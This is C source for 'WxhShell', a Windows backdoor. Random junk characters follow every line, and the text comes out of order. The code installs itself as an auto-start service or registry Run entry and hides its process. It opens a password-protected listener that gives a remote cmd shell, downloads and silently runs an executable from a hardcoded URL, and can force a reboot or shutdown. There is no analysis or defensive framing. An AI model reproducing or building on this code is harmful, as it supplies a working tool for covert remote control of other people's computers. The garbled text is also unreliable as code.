    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j!:U*}f  
    else { q w|M~vdm  
    closesocket(wsh); p*NC nD*  
    ExitThread(0); p B?a5jpA  
    } *b7 HtUA  
    break; hiU_r="*ox  
    } }wj*^>*  
  // 获取shell >,hJ5-9  
  case 's': { I%{^i d@  
    CmdShell(wsh); ][wS}~):  
    closesocket(wsh); |]r# IpVf  
    ExitThread(0); "%A[%7LY  
    break; ot(|t4^  
  } Nk}Hvg*(  
  // 退出 A(;J  
  case 'x': { f_.1)O'83  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Ob0=ZW`+&  
    CloseIt(wsh); !!Mp;h'}-  
    break; J8? 6yd-7  
    } V! "^6)  
  // 离开 ]2b" oHg  
  case 'q': { >`,v?<>+  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); >k_Z]J6Pd  
    closesocket(wsh); -b)p6>G-C  
    WSACleanup(); pok,`yW\  
    exit(1); ] ^  
    break; D8[&}D4  
        } ?ADk`ts~,}  
  } Wc`Vcn1  
  } |a\s}M1  
3%|<U51  
  // 提示信息 l\$_t2U  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \Xxx5:qM  
}  4uU(t  
  } b;!ilBc  
S$muV9z2=  
  return; mpr["C"l  
} jGt'S{  
_;LHC;,:  
// shell模块句柄 UxzwgVT  
int CmdShell(SOCKET sock) {"{J*QH  
{ 8'g/WZY~~  
STARTUPINFO si; "lN<v=  
ZeroMemory(&si,sizeof(si)); :VLuI  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; z:< (b   
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ?]h+En5z8  
PROCESS_INFORMATION ProcessInfo; 2$1rS}}  
char cmdline[]="cmd"; K<+AJ(C  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); * k =L  
  return 0; 0Vy* 0\{S  
} j#!J hi  
~xvQ?c ?-  
// 自身启动模式 fCEd :Kr  
int StartFromService(void) r% mN]?u  
{ .iew5.eB+  
typedef struct q &jW{  
{ <;U"D.'  
  DWORD ExitStatus; _MMz x2}  
  DWORD PebBaseAddress; LGod"8~U  
  DWORD AffinityMask; A9lqVMp64  
  DWORD BasePriority; 6e~+@S  
  ULONG UniqueProcessId; DC/CUKE.d  
  ULONG InheritedFromUniqueProcessId; zh50]tX  
}   PROCESS_BASIC_INFORMATION; G9V zVx#T#  
nMVThN*I g  
PROCNTQSIP NtQueryInformationProcess; !+fHdB  
{v]>sn;P1  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; R9=,T0Y p  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; sV[|op  
8,kbGlSD  
  HANDLE             hProcess; OQ[>s(`*{  
  PROCESS_BASIC_INFORMATION pbi; \nxt\KD  
<T0-m?D_$  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %o{vD&7\  
  if(NULL == hInst ) return 0; \ 2".Kb@=  
(iWNvVGS  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); MX9 q )(:  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); * =;=VUu5  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); OpH9sBnA  
W%1fm/ G0  
  if (!NtQueryInformationProcess) return 0; F ^E(AE  
fylaH(LER  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); da[l[b;  
  if(!hProcess) return 0; }3?M0:  
&ul9N)A  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; gNZ^TeT  
Ogjjjy84vM  
  CloseHandle(hProcess); 5'z&kl0"S  
w"l8M0$m  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); spe9^.SI  
if(hProcess==NULL) return 0; <D4)gRRo  
c\;} ov+  
HMODULE hMod; C %EQ9Iq6r  
char procName[255]; /n"A%6S  
unsigned long cbNeeded; Jv)]7u  
(.n" J2qj  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >StvP=our  
1eb1Lvn  
  CloseHandle(hProcess); F48`1+  
BB|{VwN  
if(strstr(procName,"services")) return 1; // 以服务启动 gV`:eNo*  
5T8!5EcS*  
  return 0; // 注册表启动 \XB71DUF  
} (U7%Z<  
ueWG/`ig  
// 主模块 _<3:vyfdC  
int StartWxhshell(LPSTR lpCmdLine) qC3 rHT]  
{ XhIgzaGVu  
  SOCKET wsl; Qy3e ,9nS  
BOOL val=TRUE; '2.F-~  
  int port=0; [C d 2L&9  
  struct sockaddr_in door; Jk1U p2#B  
{) .=G  
  if(wscfg.ws_autoins) Install(); K=B[MT#V{2  
?Rl*5GRW  
port=atoi(lpCmdLine); ]1Q\wsB  
<R !qOQI  
if(port<=0) port=wscfg.ws_port; Hh qx)u  
uvmNQg  
  WSADATA data; iT|+<h  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; -)$)<k  
M>v M@j  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   NGxii$F  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); h1Q7(8=Eg  
  door.sin_family = AF_INET; 9#3+k/A  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); WrD20Q$9Q  
  door.sin_port = htons(port); VKs$J)6  
I;xT yhUd  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { p 3_Q  
closesocket(wsl); {{ wVM:1  
return 1; Y{J/Oib  
} o0<T|zgF5,  
\?C(fp R  
  if(listen(wsl,2) == INVALID_SOCKET) { 2cmqtlW"  
closesocket(wsl); 6dinC <[}  
return 1; @*c+`5)_  
} = tog<7  
  Wxhshell(wsl); A+ f{j  
  WSACleanup();  !c*^:0  
H?aB8=)  
return 0; o?%x!m>  
t^7R6y  
} =LT({8  
/`'50C j  
// 以NT服务方式启动 6}|vfw  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 7C 4Njei"  
{ Np=*B_ @8  
DWORD   status = 0; U5"F1CaW~  
  DWORD   specificError = 0xfffffff; @lmke>  
nTHP~]  
  serviceStatus.dwServiceType     = SERVICE_WIN32; )*_YeT&w.  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ]-AT(L >  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Z6 aT%7}}  
  serviceStatus.dwWin32ExitCode     = 0; 3'']q3H  
  serviceStatus.dwServiceSpecificExitCode = 0; =W4cWG?+  
  serviceStatus.dwCheckPoint       = 0; !~mN"+u&  
  serviceStatus.dwWaitHint       = 0; f9&D1Gh+w  
i>rn!?b  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); fx}R7GN2  
  if (hServiceStatusHandle==0) return; L@2H>Lh35  
s0`uSQ2X  
status = GetLastError(); 9j,zaGD0  
  if (status!=NO_ERROR) *3k~%RM%?  
{ w?5b:W,  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; `n%~#TJ  
    serviceStatus.dwCheckPoint       = 0; =-:o?&64  
    serviceStatus.dwWaitHint       = 0; .oe,# 1Qh{  
    serviceStatus.dwWin32ExitCode     = status; 'kC$R;#\7  
    serviceStatus.dwServiceSpecificExitCode = specificError; <<`."RY#0  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;0BCM(>Wo  
    return; ]ny(l#Hu:  
  } vx ,yz+yP  
JZ<O-G+  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; f{)*"  
  serviceStatus.dwCheckPoint       = 0; LD6fi  
  serviceStatus.dwWaitHint       = 0; \(z)]D  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); \fKv+  
} g =%W"v  
d6L(Q(:s  
// 处理NT服务事件,比如:启动、停止 V]<dh|x  
VOID WINAPI NTServiceHandler(DWORD fdwControl) b"zq3$6*  
{ :N[2*.c[  
switch(fdwControl) FINM4<s)  
{ gz88$BT  
case SERVICE_CONTROL_STOP: 95+}NJ;r  
  serviceStatus.dwWin32ExitCode = 0; yy>4`_  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ,wFLOfV@  
  serviceStatus.dwCheckPoint   = 0; 'shOSB  
  serviceStatus.dwWaitHint     = 0; ?Cu$qE!h)[  
  { vw!i)JO8M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); XkNi 'GJf  
  } z* `81  
  return; ,fN iZ  
case SERVICE_CONTROL_PAUSE: tz)L`g/J~  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; G>!"XK:fB  
  break; B]hZ4.B1  
case SERVICE_CONTROL_CONTINUE: 56v<!L5%  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; bVVa5? HP  
  break; sn *s7v:  
case SERVICE_CONTROL_INTERROGATE: Y6CadC  
  break; H(g&+Wcu=  
}; !",@,$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S=my;M-  
} s$]I@;_  
cAL&>T  
// 标准应用程序主函数 k!%HcU%J  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %bv<OMD  
{ PC3wzJ\\S  
zL_X?UmV  
// 获取操作系统版本 `t8e2?GH  
OsIsNt=GetOsVer(); yRy9*r=  
GetModuleFileName(NULL,ExeFile,MAX_PATH); In 1.R$O  
~fgv7=(!  
  // 从命令行安装 L%BWrmg  
  if(strpbrk(lpCmdLine,"iI")) Install(); GY4yZa  
e;gf??8}  
  // 下载执行文件 P(Lwpa,S  
if(wscfg.ws_downexe) { {jv1hKTa  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ilNm\fQ.  
  WinExec(wscfg.ws_filenam,SW_HIDE); ~PV>3c3l=  
} J=Jw"? f  
hR?rZUl2M  
if(!OsIsNt) { qNvKlwR9;k  
// 如果时win9x,隐藏进程并且设置为注册表启动 G3e%~  
HideProc(); Dg]i};  
StartWxhshell(lpCmdLine); +wio:==  
} ?Z.YJXoKZ  
else JlH|=nIaj6  
  if(StartFromService()) XM)|v |  
  // 以服务方式启动 ,CvU#ab8$  
  StartServiceCtrlDispatcher(DispatchTable); 'DIE#l`  
else 85X^T]zo  
  // 普通方式启动 5 )C~L]  
  StartWxhshell(lpCmdLine); TS%cTh'ItH  
hgh1G7A&  
return 0; 0zfrx-'zN  
} Le}q>>o;q  
)zt5`"/o  
qH(2 0Z!  
c1z5t]d   
=========================================== ](W #Tj5-  
3b_#xr-  
-ss2X  
O}%=c\Pb  
& v`kyc  
\Z~m6;  
" qa Q  
2ru6 bIb;  
#include <stdio.h> rXaL1`t*  
#include <string.h> i?R qv<n  
#include <windows.h> InDR\=o  
#include <winsock2.h> "C.$qk]  
#include <winsvc.h> _%>.t  
#include <urlmon.h> R@EFG%|`_  
Vt&I[osC  
#pragma comment (lib, "Ws2_32.lib") *r_.o;6  
#pragma comment (lib, "urlmon.lib") 7eO8cPy  
I?:V EN:  
#define MAX_USER   100 // 最大客户端连接数 |;].~7^  
#define BUF_SOCK   200 // sock buffer Lf,gS*Tg?  
#define KEY_BUFF   255 // 输入 buffer 68d@By  
kj[[78  
#define REBOOT     0   // 重启 U]P;X~$!  
#define SHUTDOWN   1   // 关机 Ky=&C8b<  
q8p 'bibY  
#define DEF_PORT   5000 // 监听端口 ZWFH5#=  
EuAa  
#define REG_LEN     16   // 注册表键长度 NfSe(rd  
#define SVC_LEN     80   // NT服务名长度 [IYs4Y5  
(thzW r6;  
// 从dll定义API G%P]qi  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);  'dg OE  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); C/cyqxVl}  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); c=K M[s.  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); v14[G@V~\  
x_Z~k  
// wxhshell配置信息 6ZM<M7(V  
struct WSCFG { @3G3l|~>  
  int ws_port;         // 监听端口 K>q,?x b  
  char ws_passstr[REG_LEN]; // 口令 $@<\$I2s  
  int ws_autoins;       // 安装标记, 1=yes 0=no < /}[x2w?]  
  char ws_regname[REG_LEN]; // 注册表键名 .h6h&[TEU  
  char ws_svcname[REG_LEN]; // 服务名 X$xqu\t7  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 )Y:CV,`  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 t]m#k%)  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 8?(4E 'vf  
int ws_downexe;       // 下载执行标记, 1=yes 0=no =l\D7s  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" .d*vfE$  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 2{qoWys8[  
aJfW75C  
}; sI.Ezuw  
)PwDP  
// default Wxhshell configuration BvYJ!Vj  
struct WSCFG wscfg={DEF_PORT, 3Y8%5/D5  
    "xuhuanlingzhe", UR\*KR;yM  
    1, j jwY{jV  
    "Wxhshell", fu|I(^NV  
    "Wxhshell", e]5QqM7  
            "WxhShell Service", "kL5HD]TC  
    "Wrsky Windows CmdShell Service", yK{~  
    "Please Input Your Password: ", E;X'.7[c  
  1, R"tLu/Sn  
  "http://www.wrsky.com/wxhshell.exe", a7CJ~8-1K  
  "Wxhshell.exe" |5W u0T  
    }; 18`?t_8g  
_LS=O@s^  
// 消息定义模块 2yN~[, L  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; : |Z*aI]9  
char *msg_ws_prompt="\n\r? for help\n\r#>"; mO\6B7V!  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 1p tPey  
char *msg_ws_ext="\n\rExit."; UrtN3icph  
char *msg_ws_end="\n\rQuit."; $}jSIn=~|t  
char *msg_ws_boot="\n\rReboot..."; LsLsSV  
char *msg_ws_poff="\n\rShutdown..."; j#Y8h5r  
char *msg_ws_down="\n\rSave to "; cLXMq"?C  
}6o` in>M  
char *msg_ws_err="\n\rErr!"; , n+dB2\  
char *msg_ws_ok="\n\rOK!"; lT%o6qgT  
bclA+!1  
char ExeFile[MAX_PATH]; z7GLpTa  
int nUser = 0; oEfKL`]B  
HANDLE handles[MAX_USER]; +4@EJRC  
int OsIsNt; a|OX4  
1|Fukx<@J<  
SERVICE_STATUS       serviceStatus; 9iGJYMWf  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; <8'}H`w%  
yYW>)  
// 函数声明 b>o38(  
int Install(void); k6$.pCH6  
int Uninstall(void); B>JRta;hj  
int DownloadFile(char *sURL, SOCKET wsh); D V C};  
int Boot(int flag); C7nLa@  
void HideProc(void); UD .$C  
int GetOsVer(void); b2ZKhS8  
int Wxhshell(SOCKET wsl); V RT| OUq  
void TalkWithClient(void *cs); |J8c|h<  
int CmdShell(SOCKET sock); &L;0%  
int StartFromService(void); RU@`+6 j+  
int StartWxhshell(LPSTR lpCmdLine); pvcD 61,  
&t`l,]PQ=6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); lh .p`^v  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); {6RT&w  
`Up3p24  
// 数据结构和表定义 U t0oh  
SERVICE_TABLE_ENTRY DispatchTable[] = g"F vD_  
{ `rQA9;Tn2  
{wscfg.ws_svcname, NTServiceMain}, 2x t 8F  
{NULL, NULL} 0<fN<iR`  
}; O$KLQ'0"n  
JH5ckgdZ  
// 自我安装 wOn.m  
int Install(void) $(G.P!/  
{ L%Me wU0TZ  
  char svExeFile[MAX_PATH];  >.0B%  
  HKEY key; K oo%mr   
  strcpy(svExeFile,ExeFile); }5u$/c@f1  
+Y6=;*j$  
// 如果是win9x系统,修改注册表设为自启动 #T&''a  
if(!OsIsNt) { [Jwo,?w  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ' 4ftclzL  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j$,:cN  
  RegCloseKey(key); Qv|A^%Ub!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,A4v|]kq]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); '0lX;z1  
  RegCloseKey(key); j0>Q:hn  
  return 0; r_F\]68  
    } %;~Vc{Xxt/  
  } n~@;[=o?5  
} 5PqL#Eu`!  
else { 9aHV~5  
JN,4#,  
// 如果是NT以上系统,安装为系统服务 ^cn%]X#.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Il`35~a  
if (schSCManager!=0) pxDkf|*   
{ Et}S*!IS  
  SC_HANDLE schService = CreateService Se{}OG)  
  ( /0A9d-Qd<  
  schSCManager, ]MKW5Kq  
  wscfg.ws_svcname, XShi[7  
  wscfg.ws_svcdisp, -c{O!z6sX  
  SERVICE_ALL_ACCESS, 'S;INs2|->  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,  At @H  
  SERVICE_AUTO_START, ,( u- x!  
  SERVICE_ERROR_NORMAL, qs 6r9?KP  
  svExeFile, Yw7txp`i  
  NULL, '1'De^%6W  
  NULL, Y23- Im  
  NULL, oc7&iL  
  NULL, uB_8P+h7  
  NULL %-1-y]R|  
  ); m:SG1m_6  
  if (schService!=0) zk#"n&u0  
  { 6#hDj_(,  
  CloseServiceHandle(schService); IOhJL'r  
  CloseServiceHandle(schSCManager); UuPXo66F ]  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); {<+B>6^  
  strcat(svExeFile,wscfg.ws_svcname); 0n<>X&X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { E^qJ5pr_P  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); z@Pv~"  
  RegCloseKey(key); l|R BO+}  
  return 0; KPHtD4  
    } K2|2Ks_CS  
  } |Tv}leJF  
  CloseServiceHandle(schSCManager); Xt} 4B#  
} H{hd1  
} $lVR6|n  
W T~UEK'  
return 1; 79`OB##  
} 1 etl:gcEC  
+-2o b90_m  
// 自我卸载 : 8h\x  
int Uninstall(void) [ ICFPY6  
{ S#Q0aG j  
  HKEY key; JJe8x4  
!:Z lVIA  
if(!OsIsNt) { >-oB%T  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { KTtB!4by  
  RegDeleteValue(key,wscfg.ws_regname); [`J91=  
  RegCloseKey(key); lDsT?yHS`Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { nQ*9E|Vx  
  RegDeleteValue(key,wscfg.ws_regname); X\4d|VJ?m  
  RegCloseKey(key); fJ<I|ZZ  
  return 0; Q3"{v0  
  } #K#BNpG|  
} /|s~X@%K  
} 27J!oin$  
else { N> 7sG(!'"  
A#7/,1h\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); )+7|_7 !x  
if (schSCManager!=0) nwS @r  
{ u1 Z;n  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); kx{LY`pY  
  if (schService!=0) 9[2qgw\D  
  { (;!92ct[?  
  if(DeleteService(schService)!=0) { {'#1do}{  
  CloseServiceHandle(schService);  B_Ul&V  
  CloseServiceHandle(schSCManager); d?ru8  
  return 0; `D-P}hDm!  
  } 2JdzeJb  
  CloseServiceHandle(schService); S@Iza9\|@  
  } A>\5fO  
  CloseServiceHandle(schSCManager); 4t 5i9+h  
} |VX )S!  
} &u+l`F^Z  
VdL*"i  
return 1; ~ECIL7,  
} =e)t,YVm  
pq"Z,9,F%  
// 从指定url下载文件 zEVQ[y6BcM  
int DownloadFile(char *sURL, SOCKET wsh) Y-?0!a=e.  
{ |E?PQ?P  
  HRESULT hr; r=Tz++!  
char seps[]= "/"; #Mw 6>5}<  
char *token; 22OfbwCb  
char *file; q\pI&B  
char myURL[MAX_PATH]; 6b2Z}B  
char myFILE[MAX_PATH]; |`|#-xu  
%?`O .W  
strcpy(myURL,sURL); Z)&!ZlM  
  token=strtok(myURL,seps); ='vD4}"j  
  while(token!=NULL) _lG|t6y  
  { gU&y5s~  
    file=token; LwlO)|E  
  token=strtok(NULL,seps); ]z#+3DaH  
  } 6o0}7T%6  
&t~NR$@  
GetCurrentDirectory(MAX_PATH,myFILE); S;0z%$y  
strcat(myFILE, "\\"); n1U!od  
strcat(myFILE, file); \wV^uS   
  send(wsh,myFILE,strlen(myFILE),0); O=[Q >\p  
send(wsh,"...",3,0); N_^PoX935O  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 5,\-;  
  if(hr==S_OK) m#Ydq(0+  
return 0; @cr/&  
else O llS  
return 1; mv,5Q6!  
C547})  
} :5sjF:@  
J@o_-\@  
// 系统电源模块 7{Lp/z%r  
int Boot(int flag) o:'@|(&<  
{ EQWRfx?d  
  HANDLE hToken; 9a2[_Wy  
  TOKEN_PRIVILEGES tkp; XJ!?>)N .  
)1 f%kp#]  
  if(OsIsNt) { ]]o?!NX  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Kf-XL ),3l  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); o|$r;<o3R  
    tkp.PrivilegeCount = 1; aUF{57,<  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; eQz.N<f"  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); c/7}5#Rs  
if(flag==REBOOT) { h`dHk]O  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ^g |j4N  
  return 0; ;hPVe _/  
} %iB,hGatE  
else { NCdDG  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) -%Rw2@vU  
  return 0; KPVu-{_Fi  
} 2"T b><^"  
  } Yy~xNj5OS  
  else { ?W_8 X2(`  
if(flag==REBOOT) { R; w$_1  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) !1ZItJ74#  
  return 0; ^7uXpqQBr  
} Jk v!]C  
else { OMW]9E  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 2$o#b .  
  return 0; &q&~&j'[  
} $Zr \$z2  
} &pQ[(|=(  
h3bQ<?m  
return 1; 7H*,HZc@=  
} Q;N)$Xx  
: t9sAD  
// win9x进程隐藏模块 k`#E#1niN  
void HideProc(void) |$;4/cKfy  
{ w/ ^_w5  
b*W,8HF4,  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 7;c^*"Ud  
  if ( hKernel != NULL ) a"i(.(9$J  
  { 9@ 4]t6h[  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); x+DETRLP  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ;GE6S{~-  
    FreeLibrary(hKernel); d U*$V7  
  } \!hd|j?&6  
-Bq]E,Xf)  
return; x ;~;Ah.p  
} ;HBKOe_3  
a x)J!I18  
// 获取操作系统版本 pTaC$Ne  
int GetOsVer(void) y4! :l=E^  
{ M,W-,l ]  
  OSVERSIONINFO winfo; xQ';$&  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ]#[4eaCg  
  GetVersionEx(&winfo); |)xWQ KzA  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) E2 FnC}#W  
  return 1; 2 FoLJ  
  else ^62z\Y  
  return 0; E7i/gY  
} l-cBN^^  
p Hx$  
// 客户端句柄模块 3-E-\5I  
int Wxhshell(SOCKET wsl) ~+d{:WY  
{ ;jaugKf  
  SOCKET wsh; [NJ2rQ/w7  
  struct sockaddr_in client; IhBQ1,&J  
  DWORD myID; sPb}A$'  
RX%)@e/@  
  while(nUser<MAX_USER) nGwon8&]]  
{ U.V/JbXX  
  int nSize=sizeof(client); 3#x1(+c6  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); m]*a;a'}#  
  if(wsh==INVALID_SOCKET) return 1; +8W5amk.P|  
R>Dr1fc}  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ).`v&-cK4E  
if(handles[nUser]==0) ,;hpqu|  
  closesocket(wsh); 1JU je  
else r*8a!jm?  
  nUser++; o=#ym4hJ%  
  } Z"'*A\r2  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }A]e C  
R!%HQA1U  
  return 0; 6&5D4 V  
} jz HWs  
e`U 6JzC  
// 关闭 socket AbhR*  
void CloseIt(SOCKET wsh)  zR'EQ  
{ 0'THL%lK  
closesocket(wsh); <KK.f9^o(  
nUser--; x_I*6?  
ExitThread(0); #_x5-?3  
} Xn?.Od(  
`1n^~  
// 客户端请求句柄 Qd\='*:!  
void TalkWithClient(void *cs) !Y r9N4  
{ ,;5%&T  
mn=b&{')e  
  SOCKET wsh=(SOCKET)cs; oH&@F@r:+  
  char pwd[SVC_LEN]; eub}+~_?[  
  char cmd[KEY_BUFF]; [mQ1r*[j  
char chr[1]; si)>:e  
int i,j; Nd"IW${Kg  
*!TQC6b$  
  while (nUser < MAX_USER) { x#&_/oqAk  
jjQDw=6  
if(wscfg.ws_passstr) { q9p31b3  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); TBrw ir  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D vvi)/<  
  //ZeroMemory(pwd,KEY_BUFF); 4X*U~}  
      i=0; }apno|W&  
  while(i<SVC_LEN) { k H<C9z2=  
!'rdHSy  
  // 设置超时 ,Y6]x^W  
  fd_set FdRead; 7sQHz.4  
  struct timeval TimeOut; us~cIGm  
  FD_ZERO(&FdRead); rM,f7hm[S*  
  FD_SET(wsh,&FdRead); ^&C/,,U  
  TimeOut.tv_sec=8; p-_9I7?  
  TimeOut.tv_usec=0; E3Y0@r  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 8m=R" %h  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); [ `1` E1X  
}aVzr}!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lw gwdB  
  pwd=chr[0]; Wu<;QY($5  
  if(chr[0]==0xd || chr[0]==0xa) { @k)J i!7  
  pwd=0; P7zUf  
  break; 6M`gy|"(~  
  } )eT>[['fm  
  i++; hu} vYA7ZH  
    } :j .:t  
tY]?2u%)  
  // 如果是非法用户,关闭 socket N>YSXh`W`y  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?;htK_E\*  
} 2L;=wP2?{  
E9>z.vV   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Lfcy#3!  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B|"/bQ  
7FPSBvU#/  
while(1) { 4)OOj14-V  
!wQ?+ :6  
  ZeroMemory(cmd,KEY_BUFF); Al6%RFt  
VD@$y^!H  
      // 自动支持客户端 telnet标准   <uS/8MP{  
  j=0; 3Mm_xYDud  
  while(j<KEY_BUFF) { 0SWqC@AR%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); G/FDD{y  
  cmd[j]=chr[0]; uq-`1m }  
  if(chr[0]==0xa || chr[0]==0xd) { CJCxL\  
  cmd[j]=0; WkE="E}  
  break; Li|~%E1  
  } Zzg zeT+bv  
  j++; {DKZ ~  
    } )-1e} VF(U  
YLTg(*  
  // 下载文件 #9r}Kr=P  
  if(strstr(cmd,"http://")) { 2)}*'_E9  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); zSD_t  
  if(DownloadFile(cmd,wsh)) %{4 U\4d@'  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); :<B_V<  
  else $z*"@  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =H23eOS_#  
  } e(a,nZF.  
  else { hKN ;tq,  
C P&u  
    switch(cmd[0]) { lEwQj[ k  
  `:~Wu/Ogr  
  // 帮助 gCPH>8JwS0  
  case '?': { 9O-~Ws ;  
